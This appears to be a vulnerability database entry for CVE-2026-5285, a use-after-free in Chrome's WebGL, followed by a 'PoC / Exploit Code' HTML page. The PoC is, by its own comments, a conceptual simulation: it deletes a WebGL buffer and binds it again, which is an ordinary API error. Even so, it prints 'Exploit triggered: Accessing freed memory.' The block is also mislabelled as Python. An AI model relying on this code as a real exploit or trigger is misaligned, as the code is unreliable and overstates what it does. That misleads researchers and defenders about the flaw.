Use after free in WebGL in Google Chrome prior to 146.0.7680.178 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.178
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-5285 (Conceptual)
This demonstrates the trigger mechanism for the WebGL UAF.
-->
<html>
<head>
<script>
function trigger_uaf() {
// Create a canvas element and get WebGL context
const canvas = document.createElement('canvas');
const gl = canvas.getContext('webgl');
if (!gl) {
alert('WebGL not supported');
return;
}
// Step 1: Create a WebGL buffer (Target Object)
const buffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
// Step 2: Perform operations that lead to the object being freed
// In a real scenario, specific API calls would trigger the bug in Chrome < 146.0.7680.178
// This simulates the condition where the buffer is deleted but reference remains
gl.deleteBuffer(buffer);
// Step 3: Attempt to use the freed object (Use-After-Free)
// This attempts to bind the deleted buffer, causing the crash or exploit execution
try {
gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
console.log('Exploit triggered: Accessing freed memory.');
} catch (e) {
console.log('Exception caught: ' + e);
}
}
// Run the trigger
window.onload = trigger_uaf;
</script>
</head>
<body>
<h1>CVE-2026-5285 WebGL UAF PoC</h1>
</body>
</html>